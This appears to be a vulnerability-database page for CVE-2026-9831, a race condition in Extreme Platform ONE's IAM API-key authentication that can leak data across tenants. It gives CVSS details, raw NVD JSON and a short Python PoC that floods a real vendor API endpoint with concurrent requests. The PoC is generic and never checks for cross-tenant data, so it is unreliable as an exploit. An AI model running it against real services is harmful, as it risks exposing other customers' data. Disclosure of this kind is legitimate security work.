CVE-2026-9831

Description

A race condition in the shared Extreme Platform ONE IAM Gateway API-key authentication path could, under specific high-concurrency traffic conditions, intermittently allow requests authenticated with an Extreme Platform ONE /IAM-issued API key to receive response data for another tenant. The issue was observed through ExtremeCloud IQ/XIQ API endpoints and validated against both XIQ/XAPI and Extreme Platform ONE /Common Services API paths. XIQ-native tokens and standard OAuth/Bearer JWT authentication were not affected.

CVSS Details

CVSS Score

6.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Extreme Platform ONE (未指定具体版本)

ExtremeCloud IQ / XIQ (未指定具体版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import threading
import requests

# Target API endpoint configuration
target_url = "https://api.extremecloudiq.com/data"
attacker_api_key = "ATTACKER_API_KEY_HERE"
headers = {
    "Authorization": f"Bearer {attacker_api_key}",
    "Content-Type": "application/json"
}

def send_request(request_id):
    """Send a request to trigger the race condition"""
    try:
        response = requests.get(target_url, headers=headers, timeout=10)
        # In a real scenario, analyze response to check for cross-tenant data
        if response.status_code == 200:
            print(f"Request {request_id}: Success - Data received")
            # print(response.text) # Uncomment to inspect data
    except Exception as e:
        print(f"Request {request_id}: Error - {e}")

# Launch multiple threads to simulate high concurrency
threads = []
print("[+] Starting PoC for CVE-2026-9831...")
print("[+] Sending high concurrent requests to trigger race condition...")

for i in range(50):
    t = threading.Thread(target=send_request, args=(i,))
    threads.append(t)
    t.start()

for t in threads:
    t.join()

print("[+] PoC execution finished.")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9831
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9831
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9831/
[4] VulDB https://vuldb.com/cve/CVE-2026-9831
[5] https://community.extremenetworks.com/t5/security-advisories-formerly/sa-2026-048-extremecloud-iq-cross-tenant-data-exposure-via/ba-p/121851

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9831", "sourceIdentifier": "1c053176-eef3-4d6a-ae0b-24728c86587b", "published": "2026-05-29T22:16:23.980", "lastModified": "2026-05-29T22:16:23.980", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "A race condition in the shared Extreme Platform\nONE IAM Gateway API-key authentication path could, under specific\nhigh-concurrency traffic conditions, intermittently allow requests\nauthenticated with an Extreme Platform ONE /IAM-issued API key to receive\nresponse data for another tenant. The issue was observed through ExtremeCloud\nIQ/XIQ API endpoints and validated against both XIQ/XAPI and Extreme Platform ONE\n/Common Services API paths. XIQ-native tokens and standard OAuth/Bearer JWT\nauthentication were not affected."}], "metrics": {"cvssMetricV31": [{"source": "1c053176-eef3-4d6a-ae0b-24728c86587b", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 4.0}]}, "weaknesses": [{"source": "1c053176-eef3-4d6a-ae0b-24728c86587b", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-488"}]}], "references": [{"url": "https://community.extremenetworks.com/t5/security-advisories-formerly/sa-2026-048-extremecloud-iq-cross-tenant-data-exposure-via/ba-p/121851", "source": "1c053176-eef3-4d6a-ae0b-24728c86587b"}]}}